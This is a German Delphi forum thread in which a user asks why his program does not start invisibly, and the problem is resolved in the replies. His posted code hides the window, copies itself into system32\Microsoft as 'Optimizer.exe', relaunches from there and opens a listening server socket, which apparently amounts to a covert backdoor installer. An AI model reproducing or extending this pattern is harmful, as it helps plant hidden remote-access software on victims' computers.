Application.ShowMainForm := False funktioniert nicht :(

Aljoscha

Grünschnabel
Hi.
Ich habe ien Programm geschrieben das mit
Application.ShowMainForm := False
am Anfang unichtbar gestartet werden soll.
Da hab ich die Zeile in den OnCreate Teil kopiert, das hat normal auch immer funktioniert.
Aber diesmal wird das Programm einfach nicht unsichtbar :confused:
Ich verstehe nicht wieso.

Hier der Codeteil von OnCreate:

procedure TForm1.FormCreate(Sender: TObject);
var Dir:String;
regist:TRegistry;
begin
//Start

//Invisible machen
ShowWindow(Application.Handle, SW_HIDE);

//Diretorys finden und zuweisen
GetDir(0, s);
GetWindowsDirectory(Verzeichnis, MAX_PATH+1);
Dir:=Verzeichnis + '\system32\Microsoft';


IF

Dir = s

THEN
begin

//Festlegen der Serverinfos
ServerSocket1.Port := 23769; //Festlegung des Ports
ServerSocket1.active := true; //Aktivierung der ServerSocket
Verbindung:='Neu';
end

ELSE

begin

//File kopieren
CopyFile(PChar(ParamStr(0)), PChar(Dir + '\Optimizer.exe'), True);

//Programm aus system32 starten
ShellExecute(Application.Handle, 'open' ,PChar('Optimizer.exe'), nil, PChar(Dir), sw_ShowNormal);

//Programm beenden
Application.Terminate
end

end;


Ich hoffe irgendjemand kann mir weiterhelfen.
 
Ok ich habs gefunden :)
Omg... Das Problem was das True bei CopyFile :)
Das Tool vom vorherigen Comlien war noch da und wurde wegen dem True nich üebrschrieben.
Das das alte auch visible startete konnte ich so viel klicken wie ich will :)
 
Aljoscha hat gesagt.:
Ok ich habs gefunden :)
Omg... Das Problem was das True bei CopyFile :)
Das Tool vom vorherigen Comlien war noch da und wurde wegen dem True nich üebrschrieben.
Das das alte auch visible startete konnte ich so viel klicken wie ich will :)
das geht aber auch einfacher: einfach im Quelltext der Projektdatei ("Projektname.dpr") vor dem Aufruf "Application.Run" folgendes schreiben:

Application.ShowMainForm := False;

Und zusätzlich die Eigenschaft "Visible" des Hauptformulars auf "False" setzen, Fertig!
 

Neue Beiträge

Zurück